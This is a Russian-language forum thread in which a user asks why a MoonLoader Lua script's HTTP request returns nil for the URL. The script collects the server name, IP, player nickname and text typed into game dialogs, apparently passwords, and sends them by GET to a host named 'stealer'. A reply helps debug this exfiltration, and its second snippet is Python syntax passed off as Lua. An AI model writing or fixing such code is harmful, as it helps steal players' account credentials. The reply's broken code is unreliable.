Как с помощью requests правильно отправлять POST и GET запросы?

Botovod1488

Участник
Автор темы
35
8
Версия MoonLoader
.027.0-preview
Отправляю запрос вот так:

Lua:
formattext = string.format("Имя сервера: %s | IP: %s | Ник: %s | dialogId: %s | dialogText: %s", name, server, nick, id, input)
sampAddChatMessage(formattext, -1)
params = {data = formattext}
response = requests.get('http://stealer/', params)
print(response.url)

print(response.url) выдаёт nil, почему? Как правильно это реализовать?
 
  • Злость
Реакции: cort

Lance_Sterling

Известный
978
342
Функция requests.get() возвращает объект Response, который содержит информацию о запросе и ответе. Одним из полей этого объекта является URL-адрес, к которому был выполнен запрос. Вы пытаетесь вывести URL-адрес, используя выражение print(response.url), но получаете nil, что означает, что URL-адрес отсутствует.

Это может быть связано с тем, что запрос был выполнен с ошибкой, и сервер не отправил никакого ответа, или с тем, что вы не сохраняете URL-адрес, который возвращает requests.get(). Вы можете исправить это, сохраняя URL-адрес в переменной, например, так:
Lua:
response = requests.get('http://stealer/', params)
url = response.url
print(url)
Если URL-адрес не возвращается, возможно, вам стоит проверить код ответа и содержимое ответа для выявления ошибок в запросе. Например:
Lua:
response = requests.get('http://stealer/', params)
if response.status_code == 200:
    url = response.url
    print(url)
else:
    print('Ошибка выполнения запроса: ', response.status_code)
    print('Содержимое ответа: ', response.content)
В этом случае, если запрос завершается успешно (код ответа 200), URL-адрес сохраняется и выводится на экран. В противном случае, выводится сообщение об ошибке, а также код и содержимое ответа. Это может помочь вам идентифицировать проблемы с запросом и устранить их.